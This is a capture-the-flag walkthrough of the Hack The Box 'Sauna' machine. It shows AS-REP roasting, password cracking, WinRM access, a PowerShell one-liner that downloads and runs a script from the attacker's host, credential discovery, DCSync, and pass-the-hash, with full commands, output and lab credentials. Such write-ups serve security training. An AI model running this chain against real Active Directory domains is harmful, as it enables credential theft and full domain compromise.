[HTB] Sauna

The Sauna machine has been created by egotisticalSW. This is an easy Windows Machine with a strong focus on Active Directory enumeration and exploitation. To get through this machine, a bit of reconnaissance skills should be enough.

If you didn’t solve this challenge and just look for answers, first you should take a look at this mind map from Orange Cyberdefense and try again. It could give you some hints for attack paths when dealing with an Active Directory.


Note: All the actions performed against the target machine have been done with a standard Kali Linux machine. You can download Kali from the official website here.


In a penetration test or red team, reconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting.

This information can then be leveraged by an adversary to aid in other phases of the adversary lifecycle, such as using gathered information to plan and execute initial access, to scope and prioritize post-compromise objectives, or to drive and lead further reconnaissance efforts. Here, our only piece of information is an IP address.

Scan with Nmap

Let’s start with a classic service scan with Nmap. Note the -sV switch which enables version detection and allows Nmap to check its internal database to try to determine the service protocol, application name and version number.

Note: Always allow a few minutes after the start of an HTB box to make sure that all the services are properly running. If you scan the machine right away, you may miss some ports that should be open.

$ nmap -Pn -sV
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-19 15:28 EST
Nmap scan report for
Host is up (0.037s latency).
Not shown: 988 filtered tcp ports (no-response)
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-02-20 03:28:57Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.03 seconds

Remember: By default, Nmap will scans the 1000 most common TCP ports on the targeted host(s). Make sure to read the documentation if you need to scan more ports or change default behaviors.

As we can see, the output reveals an LDAP (TCP/389) port with the egotistical-bank.local domain name and an HTTP (TCP/80) port.


Let’s go to the HTTP port to see if there is something to be found. Companies websites are often a good place to find employee names that can be used during targeting. Employee names are used to derive email addresses as well as to help guide other reconnaissance.


There is a list of employees’ name which could be used to generate a list of users. Here, we used common patterns of account names in order to create a list and perform further attacks.


While this list was created manually, you could use this awesome Python script, namemash.py, which generate a list of possible usernames from a person’s first and last name.

Also, in a real-world scenario, website like https://hunter.io can help you to find a valid email pattern for a specific target.

Initial Access

With the previously generated user list, we could try to do some brute force or password spraying attacks. However, it could be time consuming and we don’t have any information about the domain’s password policy and lockout threshold. Let’s stay on the safe side for now and try an ASREPRoast attack.


As a reminder, AS-REP roasting is a technique that allows retrieving password hashes for users that have the “Do not require Kerberos preauthentication” property selected. Indeed, if a user does not have Kerberos pre-authentication enabled, an AS-REP can be requested for that user, and part of the reply can be cracked offline to recover their plaintext password.

One of the best tools for the job would be impacket-GetNPUsers, which can list and get TGTs for the users that have the property set to UF_DONT_REQUIRE_PREAUTH, it should already be installed on Kali. Note that the user.txt file contains the list of the previously recovered account.

$ impacket-GetNPUsers egotistical-bank.local/ -usersfile users.txt -dc-ip
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)


Nice, we do have a hash for the fsmith user.

Password Cracking

Now, we just have to copy/paste the following hash in a file and try to crack it offline using the rockyou password list (if you are using Kali Linux, it should be present in the /usr/share/wordlists/ folder).


Here, we used John the Ripper to crack the password, but it can be done with other tools.

$ john hash.txt -w=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23     ($krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL)     
1g 0:00:00:17 DONE (2022-02-04 17:54) 0.05837g/s 615236p/s 615236c/s 615236C/s Thing..Thehunter22
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Great, we now have credentials for the fsmith domain account (fsmith:Thestrokes23).

WinRM Access

Using another awesome tool, CrackMapExec, we can check if the user’s password is properly working. Here we used the winrm switch to specify the WinRM protocol.

$ crackmapexec winrm -u fsmith -p Thestrokes23 -d egotistical-bank.local 
HTTP   5985    [*]
WINRM   5985    [+] egotistical-bank.local\fsmith:Thestrokes23 (Pwn3d!)

Note: The WinRM ports (5985/TCP and 5986/TCP) didn’t show up while scanning the machine, but they are actually open. Again, this is due to the fact that, by default, Nmap only scans the 1000 most common TCP ports and WinRM ports are probably not part of them.

The password is valid and we do have a WinRM access to the remote computer. Using Evil-WinRM and the recovered account, we can try to connect to the remote machine.

$ evil-winrm -i -u fsmith -p Thestrokes23 
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\FSmith\Documents> dir ../Desktop

    Directory: C:\Users\FSmith\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         2/4/2022   9:31 PM             34 user.txt

We now have a remote shell access and the first flag.

Privilege Escalation

Privilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities.

Active Directory Recon

First, with a valid account, we can now use one of the BloodHound ingestors and gather more information about the Active Directory. Here, we used a Python based ingestor for BloodHound, BloodHound.py.

$ bloodhound-python -c All -u fsmith -p Thestrokes23 -d egotistical-bank.local -ns --zip
INFO: Found AD domain: egotistical-bank.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Found 6 users
INFO: Found 51 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Done in 00M 03S
INFO: Compressing output into 20220204181855_bloodhound.zip

Now, you can import the generated file (20220204181855_bloodhound.zip) in BloodHound by running sudo neo4j start, then execute BloodHound in another terminal with the bloodhound command.

Getting Administrator Privileges

After getting some information about the domain with Bloodhound, we could also try to do some local reconnaissance and see if we can get a local administrator access. Using PrivescCheck, a script that aims to enumerate common Windows configuration issues, let’s try to enumerate common Windows configuration issues that can be leveraged for local privilege escalation.

Note that we used the local Apache service to host the file and download it from the remote machine. Also, the -Extended flag aims to gather more information.

*Evil-WinRM* PS C:\Users\FSmith\Documents> IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.xx/PrivescCheck.ps1'); Invoke-PrivescCheck -Extended


| TEST | CREDS > WinLogon                               | VULN |
| DESC | Parse the Winlogon registry keys and check whether    |
|      | they contain any clear-text password. Entries that    |
|      | have an empty password field are filtered out.        |
[*] Found 1 result(s).

Username : EGOTISTICALBANK\svc_loanmanager
Password : Moneymakestheworldgoround!


It seems that we have cleartext credentials for the svc_loanmanager account. By checking the local users using the net users command, we can see a user named svc_loanmgr which may correspond to the previously found credentials.

*Evil-WinRM* PS C:\Users\FSmith\Documents> net users

User accounts for \\

Administrator            FSmith                   Guest
HSmith                   krbtgt                   svc_loanmgr
The command completed with one or more errors.

Let’s do a quick check with crackmapexec, just to be sure.

$ crackmapexec smb -u svc_loanmgr -p 'Moneymakestheworldgoround!' -d egotistical-bank.local
SMB  445    SAUNA            [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:egotistical-bank.local) (signing:True) (SMBv1:False)
SMB  445    SAUNA            [+] egotistical-bank.local\svc_loanmgr:Moneymakestheworldgoround! 

The credentials are valid. Back to BloodHound, we can see that svc_loanmgr account has the GetChangesAll privilege on the target domain.


Using BloodHound help, we can check what we can do with this privilege.


Interesting, since we also have the GetChangs privilege, it seems that we could try to perform a DCSync attack.

Dump the Administrator Hash

Here, we used impacket-secretsdump, another tool from the Impacket suite to dump the Administrator password using svc_loanmgr.

$ impacket-secretsdump EGOTISTICALBANK/svc_loanmgr@ -just-dc-user Administrator -just-dc-ntlm
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[*] Cleaning up...

Perfect, now we can use this NTLM hash to perform a Pass the Hash attack and read the second flag from the domain controller.

Note that Pass the hash (or PtH) is a method of authenticating as a user without having access to the user’s cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.

$ crackmapexec smb -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e -d egotistical-bank.local -x "dir C:\Users\Administrator\Desktop" 
SMB   445    SAUNA            [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:egotistical-bank.local) (signing:True) (SMBv1:False)
SMB   445    SAUNA            [+] egotistical-bank.local\Administrator:823452073d75b9d1cf70ebdf86c7f98e (Pwn3d!)
SMB   445    SAUNA            [+] Executed command 
SMB   445    SAUNA            Volume in drive C has no label.
SMB   445    SAUNA            Volume Serial Number is 489C-D8FC
SMB   445    SAUNA            
SMB   445    SAUNA            Directory of C:\Users\Administrator\Desktop
SMB   445    SAUNA            
SMB   445    SAUNA            07/14/2021  02:35 PM    <DIR>          .
SMB   445    SAUNA            07/14/2021  02:35 PM    <DIR>          ..
SMB   445    SAUNA            02/06/2022  06:03 PM                34 root.txt
SMB   445    SAUNA            1 File(s)             34 bytes
SMB   445    SAUNA            2 Dir(s)   7,754,547,200 bytes free

Awesome! I hope you enjoyed it, I know I did :)